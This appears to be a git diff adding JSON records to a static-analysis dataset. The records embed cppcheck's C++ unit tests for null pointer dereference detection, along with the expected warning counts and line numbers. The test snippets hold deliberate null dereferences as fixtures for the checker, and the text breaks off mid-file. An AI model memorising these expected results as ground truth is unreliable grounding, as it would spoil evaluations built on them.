\"}\\n\"\n \"\\n\"\n \"void f() {\\n\"\n \" dostuff(0, 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n ctu(\"void g(int* x) { *x; }\\n\"\n \"void f(int* x) {\\n\"\n \" if (x)\\n\"\n \" g(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n ctu(\"size_t f(int* p) {\\n\"\n \" size_t len = sizeof(*p);\\n\"\n \" return len;\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" f(NULL);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n ctu(\"size_t f(int* p) {\\n\"\n \" size_t len = alignof(*p);\\n\"\n \" return len;\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" f(NULL);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ctu: memory allocation fails\n ctu(\"void f(int* p) {\\n\"\n \" *p = 0;\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" int* q = (int*)malloc(4);\\n\"\n \" f(q);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:6]: warning: If memory allocation fails, then there is a possible null pointer dereference: p [ctunullpointerOutOfMemory]\\n\"\n \"[test.cpp:5:26]: note: Assuming allocation function fails\\n\"\n \"[test.cpp:5:14]: note: Assignment 'q=(int*)malloc(4)', assigned value is 0\\n\"\n \"[test.cpp:6:6]: note: Calling function f, 1st argument is null\\n\"\n \"[test.cpp:2:6]: note: Dereferencing argument p that is null\\n\", errout_str());\n\n // ctu: resource allocation fails\n ctu(\"void foo(FILE* f) {\\n\"\n \" fprintf(f, a);\\n\"\n \"}\\n\"\n \"void bar() {\\n\"\n \" FILE* f = fopen(notexist,t);\\n\"\n \" foo(f);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: warning: If resource allocation fails, then there is a possible null pointer dereference: f [ctunullpointerOutOfResources]\\n\"\n \"[test.cpp:5:20]: note: Assuming allocation function fails\\n\"\n \"[test.cpp:5:20]: note: Assignment 'f=fopen(notexist,t)', assigned value is 0\\n\"\n \"[test.cpp:6:8]: note: Calling function foo, 1st argument is null\\n\"\n \"[test.cpp:2:13]: note: Dereferencing argument f that is null\\n\", errout_str());\n }\n};\n\nREGISTER_TEST(TestNullPointer)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckNullPointer/nullPointer.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckNullPointer/nullPointer.json new file mode 100644 index 0000000..6ebd25f --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckNullPointer/nullPointer.json @@ -0,0 +1,118 @@ +{ + "name": "nullPointer", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 4, + "branches": 0, + "apis": 2, + "test": [ + { + "description": null, + "expected-problems": 97, + "expected-linenumbers": [ + 344, + 377, + 1002, + 1285, + 1294, + 1303, + 1313, + 1325, + 1342, + 1351, + 1360, + 1376, + 1389, + 1396, + 1412, + 1422, + 1431, + 1440, + 1450, + 1467, + 1481, + 1493, + 1510, + 1542, + 1554, + 1564, + 1576, + 1602, + 1614, + 1633, + 1645, + 1656, + 1667, + 1685, + 1696, + 1707, + 1736, + 1769, + 1777, + 1786, + 1795, + 1813, + 1829, + 1843, + 1894, + 1906, + 1922, + 1953, + 1965, + 1980, + 1990, + 2005, + 2018, + 2051, + 2081, + 2095, + 2130, + 2150, + 2167, + 2194, + 2215, + 2255, + 2294, + 2312, + 2342, + 2370, + 2409, + 2424, + 2436, + 2463, + 2475, + 2487, + 2501, + 2518, + 2538, + 2553, + 2566, + 2587, + 2606, + 2633, + 2654, + 2691, + 2713, + 2725, + 2742, + 2773, + 2786, + 2796, + 2815, + 2829, + 2840, + 2861, + 2872, + 2884, + 2898, + 2928, + 2937 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"check.h\"\n#include \"checknullpointer.h\"\n#include \"ctu.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"library.h\"\n#include \"settings.h\"\n#include \"standards.h\"\n#include \"token.h\"\n\n#include \n#include \n#include \n\nclass TestNullPointer : public TestFixture {\npublic:\n TestNullPointer() : TestFixture(\"TestNullPointer\") {}\n\nprivate:\n const Settings settings = settingsBuilder().library(\"std.cfg\").severity(Severity::warning).build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(nullpointerAfterLoop);\n TEST_CASE(nullpointer1);\n TEST_CASE(nullpointer2);\n TEST_CASE(structDerefAndCheck); // dereferencing struct and then checking if it's null\n TEST_CASE(pointerDerefAndCheck);\n TEST_CASE(nullpointer5); // References should not be checked\n TEST_CASE(nullpointerExecutionPaths);\n TEST_CASE(nullpointerExecutionPathsLoop);\n TEST_CASE(nullpointer7);\n TEST_CASE(nullpointer9);\n TEST_CASE(nullpointer10);\n TEST_CASE(nullpointer11); // ticket #2812\n TEST_CASE(nullpointer12); // ticket #2470\n TEST_CASE(nullpointer15); // #3560 (fp: return p ? f(*p) : f(0))\n TEST_CASE(nullpointer16); // #3591\n TEST_CASE(nullpointer17); // #3567\n TEST_CASE(nullpointer18); // #1927\n TEST_CASE(nullpointer19); // #3811\n TEST_CASE(nullpointer20); // #3807 (fp: return p ? (p->x() || p->y()) : z)\n TEST_CASE(nullpointer21); // #4038 (fp: if (x) p=q; else return;)\n TEST_CASE(nullpointer23); // #4665 (false positive)\n TEST_CASE(nullpointer24); // #5082 fp: chained assignment\n TEST_CASE(nullpointer25); // #5061\n TEST_CASE(nullpointer26); // #3589\n TEST_CASE(nullpointer27); // #6568\n TEST_CASE(nullpointer28); // #6491\n TEST_CASE(nullpointer30); // #6392\n TEST_CASE(nullpointer31); // #8482\n TEST_CASE(nullpointer32); // #8460\n TEST_CASE(nullpointer33);\n TEST_CASE(nullpointer34);\n TEST_CASE(nullpointer35);\n TEST_CASE(nullpointer36); // #9264\n TEST_CASE(nullpointer37); // #9315\n TEST_CASE(nullpointer38);\n TEST_CASE(nullpointer39); // #2153\n TEST_CASE(nullpointer40);\n TEST_CASE(nullpointer41);\n TEST_CASE(nullpointer42);\n TEST_CASE(nullpointer43); // #9404\n TEST_CASE(nullpointer44); // #9395, #9423\n TEST_CASE(nullpointer45);\n TEST_CASE(nullpointer46); // #9441\n TEST_CASE(nullpointer47); // #6850\n TEST_CASE(nullpointer48); // #9196\n TEST_CASE(nullpointer49); // #7804\n TEST_CASE(nullpointer50); // #6462\n TEST_CASE(nullpointer51);\n TEST_CASE(nullpointer52);\n TEST_CASE(nullpointer53); // #8005\n TEST_CASE(nullpointer54); // #9573\n TEST_CASE(nullpointer55); // #8144\n TEST_CASE(nullpointer56); // #9701\n TEST_CASE(nullpointer57); // #9751\n TEST_CASE(nullpointer58); // #9807\n TEST_CASE(nullpointer59); // #9897\n TEST_CASE(nullpointer60); // #9842\n TEST_CASE(nullpointer61);\n TEST_CASE(nullpointer62);\n TEST_CASE(nullpointer63);\n TEST_CASE(nullpointer64);\n TEST_CASE(nullpointer65); // #9980\n TEST_CASE(nullpointer66); // #10024\n TEST_CASE(nullpointer67); // #10062\n TEST_CASE(nullpointer68);\n TEST_CASE(nullpointer69); // #8143\n TEST_CASE(nullpointer70);\n TEST_CASE(nullpointer71); // #10178\n TEST_CASE(nullpointer72); // #10215\n TEST_CASE(nullpointer73); // #10321\n TEST_CASE(nullpointer74);\n TEST_CASE(nullpointer75);\n TEST_CASE(nullpointer76); // #10408\n TEST_CASE(nullpointer77);\n TEST_CASE(nullpointer78); // #7802\n TEST_CASE(nullpointer79); // #10400\n TEST_CASE(nullpointer80); // #10410\n TEST_CASE(nullpointer81); // #8724\n TEST_CASE(nullpointer82); // #10331\n TEST_CASE(nullpointer83); // #9870\n TEST_CASE(nullpointer84); // #9873\n TEST_CASE(nullpointer85); // #10210\n TEST_CASE(nullpointer86);\n TEST_CASE(nullpointer87); // #9291\n TEST_CASE(nullpointer88); // #9949\n TEST_CASE(nullpointer89); // #10640\n TEST_CASE(nullpointer90); // #6098\n TEST_CASE(nullpointer91); // #10678\n TEST_CASE(nullpointer92);\n TEST_CASE(nullpointer93); // #3929\n TEST_CASE(nullpointer94); // #11040\n TEST_CASE(nullpointer95); // #11142\n TEST_CASE(nullpointer96); // #11416\n TEST_CASE(nullpointer97); // #11229\n TEST_CASE(nullpointer98); // #11458\n TEST_CASE(nullpointer99); // #10602\n TEST_CASE(nullpointer100); // #11636\n TEST_CASE(nullpointer101); // #11382\n TEST_CASE(nullpointer102);\n TEST_CASE(nullpointer103);\n TEST_CASE(nullpointer104); // #13881\n TEST_CASE(nullpointer105); // #13861\n TEST_CASE(nullpointer_addressOf); // address of\n TEST_CASE(nullpointerSwitch); // #2626\n TEST_CASE(nullpointer_cast); // #4692\n TEST_CASE(nullpointer_castToVoid); // #3771\n TEST_CASE(nullpointer_subfunction);\n TEST_CASE(pointerCheckAndDeRef); // check if pointer is null and then dereference it\n TEST_CASE(nullConstantDereference); // Dereference NULL constant\n TEST_CASE(gcc_statement_expression); // Don't crash\n TEST_CASE(snprintf_with_zero_size);\n TEST_CASE(snprintf_with_non_zero_size);\n TEST_CASE(printf_with_invalid_va_argument);\n TEST_CASE(scanf_with_invalid_va_argument);\n TEST_CASE(nullpointer_in_return);\n TEST_CASE(nullpointer_in_typeid);\n TEST_CASE(nullpointer_in_alignof); // #11401\n TEST_CASE(nullpointer_in_for_loop);\n TEST_CASE(nullpointerDeadCode); // #11311\n TEST_CASE(nullpointerDelete);\n TEST_CASE(nullpointerSubFunction);\n TEST_CASE(nullpointerExit);\n TEST_CASE(nullpointerStdString);\n TEST_CASE(nullpointerStdStream);\n TEST_CASE(nullpointerSmartPointer);\n TEST_CASE(nullpointerOutOfMemory);\n TEST_CASE(functioncall);\n TEST_CASE(functioncalllibrary); // use Library to parse function call\n TEST_CASE(functioncallDefaultArguments);\n TEST_CASE(nullpointer_internal_error); // #5080\n TEST_CASE(ticket6505);\n TEST_CASE(subtract);\n TEST_CASE(addNull);\n TEST_CASE(isPointerDeRefFunctionDecl);\n\n TEST_CASE(ctuTest);\n }\n\n struct CheckOptions\n {\n CheckOptions() = default;\n bool inconclusive = false;\n bool cpp = true;\n Standards::cstd_t cstd = Standards::CLatest;\n };\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size], const CheckOptions& options = make_default_obj()) {\n const Settings settings1 = settingsBuilder(settings).certainty(Certainty::inconclusive, options.inconclusive).c(options.cstd).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this, options.cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check for null pointer dereferences..\n runChecks(tokenizer, this);\n }\n\n#define checkP(...) checkP_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkP_(const char* file, int line, const char (&code)[size]) {\n const Settings settings1 = settingsBuilder(settings).certainty(Certainty::inconclusive, false).build();\n\n SimpleTokenizer2 tokenizer(settings1, *this, code, \"test.cpp\");\n\n // Tokenizer..\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Check for null pointer dereferences..\n runChecks(tokenizer, this);\n }\n\n\n\n void nullpointerAfterLoop() {\n // extracttests.start: struct Token { const Token *next() const; std::string str() const; };\n check(\"void foo(const Token *tok)\\n\"\n \"{\\n\"\n \" while (tok);\\n\"\n \" tok = tok->next();\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:12] -> [test.cpp:4:11]: (warning) Either the condition 'tok' is redundant or there is possible null pointer dereference: tok. [nullPointerRedundantCheck]\\n\", errout_str());\n\n // #2681\n {\n const char code[] = \"void foo(const Token *tok)\\n\"\n \"{\\n\"\n \" while (tok && tok->str() == \\\"=\\\")\\n\"\n \" tok = tok->next();\\n\"\n \"\\n\"\n \" if (tok->str() != \\\";\\\")\\n\"\n \" ;\\n\"\n \"}\\n\";\n\n check(code);\n ASSERT_EQUALS(\"[test.cpp:3:12] -> [test.cpp:6:9]: (warning) Either the condition 'tok' is redundant or there is possible null pointer dereference: tok. [nullPointerRedundantCheck]\\n\", errout_str());\n }\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" for (const Token *tok = tokens; tok; tok = tok->next())\\n\"\n \" {\\n\"\n \" while (tok && tok->str() != \\\";\\\")\\n\"\n \" tok = tok->next();\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5] -> [test.cpp:3]: (warning) Either the condition 'while' is redundant or there is possible null pointer dereference: tok.\\n\", \"\", errout_str());\n\n check(\"void foo(Token &tok)\\n\"\n \"{\\n\"\n \" for (int i = 0; i < tok.size(); i++ )\\n\"\n \" {\\n\"\n \" while (!tok)\\n\"\n \" char c = tok.read();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" for (const Token *tok = tokens; tok; tok = tok->next())\\n\"\n \" {\\n\"\n \" while (tok && tok->str() != \\\";\\\")\\n\"\n \" tok = tok->next();\\n\"\n \" if( !tok ) break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" for (const Token *tok = tokens; tok; tok = tok ? tok->next() : NULL)\\n\"\n \" {\\n\"\n \" while (tok && tok->str() != \\\";\\\")\\n\"\n \" tok = tok->next();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(A*a)\\n\"\n \"{\\n\"\n \" switch (a->b()) {\\n\"\n \" case 1:\\n\"\n \" while( a ){\\n\"\n \" a = a->next;\\n\"\n \" }\\n\"\n \" break;\\n\"\n \" case 2:\\n\"\n \" a->b();\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // dereference in outer scope..\n check(\"void foo(int x, const Token *tok) {\\n\"\n \" if (x == 123) {\\n\"\n \" while (tok) tok = tok->next();\\n\"\n \" }\\n\"\n \" tok->str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16] -> [test.cpp:5:5]: (warning) Either the condition 'tok' is redundant or there is possible null pointer dereference: tok. [nullPointerRedundantCheck]\\n\", errout_str());\n\n check(\"int foo(const Token *tok)\\n\"\n \"{\\n\"\n \" while (tok){;}\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(const Token *tok)\\n\"\n \"{\\n\"\n \" while (tok){;}\\n\"\n \" char a[2] = {0,0};\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct b {\\n\"\n \" b * c;\\n\"\n \" int i;\\n\"\n \"}\\n\"\n \"void a(b * e) {\\n\"\n \" for (b *d = e;d; d = d->c)\\n\"\n \" while (d && d->i == 0)\\n\"\n \" d = d->c;\\n\"\n \" if (!d) throw;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct b {\\n\"\n \" b * c;\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void f(b* e1, b* e2) {\\n\"\n \" for (const b* d = e1; d != e2; d = d->c) {\\n\"\n \" if (d && d->i != 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:13] -> [test.cpp:6:40]: (warning) Either the condition 'd' is redundant or there is possible null pointer dereference: d. [nullPointerRedundantCheck]\\n\", errout_str());\n }\n\n void nullpointer1() {\n // ticket #1923 - no false positive when using else if\n check(\"void f(A *a)\\n\"\n \"{\\n\"\n \" if (a->x == 1)\\n\"\n \" {\\n\"\n \" a = a->next;\\n\"\n \" }\\n\"\n \" else if (a->x == 2) { }\\n\"\n \" if (a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #2134 - sizeof doesn't dereference\n check(\"void f() {\\n\"\n \" int c = 1;\\n\"\n \" int *list = NULL;\\n\"\n \" sizeof(*list);\\n\"\n \" if (!list)\\n\"\n \" ;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #2245 - sizeof doesn't dereference\n check(\"void f(Bar *p) {\\n\"\n \" if (!p) {\\n\"\n \" int sz = sizeof(p->x);\\n\"\n \" }\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void nullpointer2() {\n // Null pointer dereference can only happen with pointers\n check(\"void foo()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" while (fred);\\n\"\n \" fred.hello();\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // Dereferencing a struct and then checking if it is null\n // This is checked by this function:\n // CheckOther::nullPointerStructByDeRefAndCheck\n void structDerefAndCheck() {\n // extracttests.start: struct ABC { int a; int b; int x; };\n\n // errors..\n check(\"void foo(struct ABC *abc)\\n\"\n \"{\\n\"\n \" int a = abc->a;\\n\"\n \" if (!abc)\\n\"\n \" ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:13]: (warning) Either the condition '!abc' is redundant or there is possible null pointer dereference: abc. [nullPointerRedundantCheck]\\n\", errout_str());\n\n check(\"void foo(struct ABC *abc) {\\n\"\n \" bar(abc->a);\\n\"\n \" bar(x, abc->a);\\n\"\n \" bar(x, y, abc->a);\\n\"\n \" if (!abc)\\n\"\n \" ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:2:9]: (warning) Either the condition '!abc' is redundant or there is possible null pointer dereference: abc. [nullPointerRedundantCheck]\\n\"\n \"[test.cpp:5:9] -> [test.cpp:3:12]: (warning) Either the condition '!abc' is redundant or there is possible null pointer dereference: abc. [nullPointerRedundantCheck]\\n\"\n \"[test.cpp:5:9] -> [test.cpp:4:15]: (warning) Either the condition '!abc' is redundant or there is possible null pointer dereference: abc. [nullPointerRedundantCheck]\\n\", errout_str());\n\n check(\"void foo(ABC *abc) {\\n\"\n \" if (abc->a == 3) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" if (abc) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:5:9] -> [test.cpp:2:9]: (warning) Either the condition 'abc' is redundant or there is possible null pointer dereference: abc. [nullPointerRedundantCheck]\\n\",\n errout_str());\n\n check(\"void f(ABC *abc) {\\n\"\n \" if (abc->x == 0) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" if (!abc);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:2:9]: (warning) Either the condition '!abc' is redundant or there is possible null pointer dereference: abc. [nullPointerRedundantCheck]\\n\", errout_str());\n\n // TODO: False negative if member of member is dereferenced\n check(\"void foo(ABC *abc) {\\n\"\n \" abc->next->a = 0;\\n\"\n \" if (abc->next)\\n\"\n \" ;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:2]: (warning) Possible null pointer dereference: abc - otherwise it is redundant to check it against null.\\n\", \"\", errout_str());\n\n check(\"void foo(ABC *abc) {\\n\"\n \" abc->a = 0;\\n\"\n \" if (abc && abc->b == 0)\\n\"\n \" ;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:9] -> [test.cpp:2:5]: (warning) Either the condition 'abc' is redundant or there is possible null pointer dereference: abc. [nullPointerRedundantCheck]\\n\",\n errout_str());\n\n // ok dereferencing in a condition\n check(\"void foo(struct ABC *abc)\\n\"\n \"{\\n\"\n \" if (abc && abc->a);\\n\"\n \" if (!abc)\\n\"\n \" ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(struct ABC *abc) {\\n\"\n \" int x = abc && a(abc->x);\\n\"\n \" if (abc) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok to use a linked list..\n check(\"void foo(struct ABC *abc)\\n\"\n \"{\\n\"\n \" abc = abc->next;\\n\"\n \" if (!abc)\\n\"\n \" ;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(struct ABC *abc) {\\n\"\n \" abc = (ABC *)(abc->_next);\\n\"\n \" if (abc) { }\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // reassign struct..\n check(\"void foo(struct ABC *abc)\\n\"\n \"{\\n\"\n \" int a = abc->a;\\n\"\n \" abc = abc->next;\\n\"\n \" if (!abc)\\n\"\n \" ;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(struct ABC *abc)\\n\"\n \"{\\n\"\n \" int a = abc->a;\\n\"\n \" f(&abc);\\n\"\n \" if (!abc)\\n\"\n \" ;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // goto..\n check(\"void foo(struct ABC *abc)\\n\"\n \"{\\n\"\n \" int a;\\n\"\n \" if (!abc)\\n\"\n \" goto out;\"\n \" a = abc->a;\\n\"\n \" return;\\n\"\n \"out:\\n\"\n \" if (!abc)\\n\"\n \" ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // loops..\n check(\"void foo(struct ABC *abc)\\n\"\n \"{\\n\"\n \" int a = abc->a;\"\n \" do\\n\"\n \" {\\n\"\n \" if (abc)\\n\"\n \" abc = abc->next;\\n\"\n \" --a;\\n\"\n \" }\\n\"\n \" while (a > 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" for (const Token *tok = _tokenizer->tokens(); tok; tok = tok->next())\\n\"\n \" {\\n\"\n \" while (tok && tok->str() != \\\"{\\\")\\n\"\n \" tok = tok->next();\\n\"\n \" if (!tok)\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // dynamic_cast..\n check(\"void foo(ABC *abc)\\n\"\n \"{\\n\"\n \" int a = abc->a;\\n\"\n \" if (!dynamic_cast(abc))\\n\"\n \" ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #2641 - global pointer, function call\n check(\"ABC *abc;\\n\"\n \"void f() {\\n\"\n \" abc->a = 0;\\n\"\n \" do_stuff();\\n\"\n \" if (abc) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\",errout_str());\n\n check(\"Fred *fred;\\n\"\n \"void f() {\\n\"\n \" fred->foo();\\n\"\n \" if (fred) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\",errout_str());\n\n // #2641 - local pointer, function call\n check(\"void f() {\\n\"\n \" ABC *abc = abc1;\\n\"\n \" abc->a = 0;\\n\"\n \" do_stuff();\\n\"\n \" if (abc) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:5:9] -> [test.cpp:3:5]: (warning) Either the condition 'abc' is redundant or there is possible null pointer dereference: abc. [nullPointerRedundantCheck]\\n\",\n errout_str());\n\n // #2641 - local pointer, function call\n check(\"void f(ABC *abc) {\\n\"\n \" abc->a = 0;\\n\"\n \" do_stuff();\\n\"\n \" if (abc) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:2:5]: (warning) Either the condition 'abc' is redundant or there is possible null pointer dereference: abc. [nullPointerRedundantCheck]\\n\",\n errout_str());\n\n // #2691 - switch/break\n check(\"void f(ABC *abc) {\\n\"\n \" switch ( x ) {\\n\"\n \" case 14:\\n\"\n \" sprintf(buf, \\\"%d\\\", abc->a);\\n\"\n \" break;\\n\"\n \" case 15:\\n\"\n \" if ( abc ) {}\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3128\n check(\"void f(ABC *abc) {\\n\"\n \" x(!abc || y(abc->a));\\n\"\n \" if (abc) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(ABC *abc) {\\n\"\n \" x(def || !abc || y(def, abc->a));\\n\"\n \" if (abc) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(ABC *abc) {\\n\"\n \" x(abc && y(def, abc->a));\\n\"\n \" if (abc) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(ABC *abc) {\\n\"\n \" x(def && abc && y(def, abc->a));\\n\"\n \" if (abc) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3228 - calling function with null object\n {\n const char code[] = \"void f(Fred *fred) {\\n\"\n \" fred->x();\\n\"\n \" if (fred) { }\\n\"\n \"}\";\n check(code);\n ASSERT_EQUALS(\n \"[test.cpp:3:9] -> [test.cpp:2:5]: (warning) Either the condition 'fred' is redundant or there is possible null pointer dereference: fred. [nullPointerRedundantCheck]\\n\",\n errout_str());\n }\n\n // #3425 - false positives when there are macros\n checkP(\"#define IF if\\n\"\n \"void f(struct FRED *fred) {\\n\"\n \" fred->x = 0;\\n\"\n \" IF(!fred){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" BUFFER *buffer = get_buffer();\\n\"\n \" if (!buffer)\\n\"\n \" uv_fatal_error();\\n\"\n \" buffer->x = 11;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // Dereferencing a pointer and then checking if it is null\n void pointerDerefAndCheck() {\n // extracttests.start: void bar(int);\n\n // errors..\n check(\"void foo(int *p)\\n\"\n \"{\\n\"\n \" *p = 0;\\n\"\n \" if (!p)\\n\"\n \" ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:6]: (warning) Either the condition '!p' is redundant or there is possible null pointer dereference: p. [nullPointerRedundantCheck]\\n\", errout_str());\n\n check(\"void foo(int *p)\\n\"\n \"{\\n\"\n \" *p = 0;\\n\"\n \" if (p) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:6]: (warning) Either the condition 'p' is redundant or there is possible null pointer dereference: p. [nullPointerRedundantCheck]\\n\",\n errout_str());\n\n check(\"void foo(int *p)\\n\"\n \"{\\n\"\n \" *p = 0;\\n\"\n \" if (p || q) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:6]: (warning) Either the condition 'p' is redundant or there is possible null pointer dereference: p. [nullPointerRedundantCheck]\\n\",\n errout_str());\n\n check(\"void foo(int *p)\\n\"\n \"{\\n\"\n \" bar(*p);\\n\"\n \" if (!p)\\n\"\n \" ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:10]: (warning) Either the condition '!p' is redundant or there is possible null pointer dereference: p. [nullPointerRedundantCheck]\\n\", errout_str());\n\n check(\"void foo(char *p)\\n\"\n \"{\\n\"\n \" strcpy(p, \\\"abc\\\");\\n\"\n \" if (!p)\\n\"\n \" ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:12]: (warning) Either the condition '!p' is redundant or there is possible null pointer dereference: p. [nullPointerRedundantCheck]\\n\", errout_str());\n\n check(\"void foo(char *p)\\n\"\n \"{\\n\"\n \" if (*p == 0) { }\\n\"\n \" if (!p) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:10]: (warning) Either the condition '!p' is redundant or there is possible null pointer dereference: p. [nullPointerRedundantCheck]\\n\", errout_str());\n\n // no error\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int *p;\\n\"\n \" f(&p);\\n\"\n \" if (!p)\\n\"\n \" ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int **p = f();\\n\"\n \" if (!p)\\n\"\n \" ;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int *p)\\n\"\n \"{\\n\"\n \" if (x)\\n\"\n \" p = 0;\\n\"\n \" else\\n\"\n \" *p = 0;\\n\"\n \" if (!p)\\n\"\n \" ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x)\\n\"\n \"{\\n\"\n \" int a = 2 * x;\"\n \" if (x == 0)\\n\"\n \" ;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", 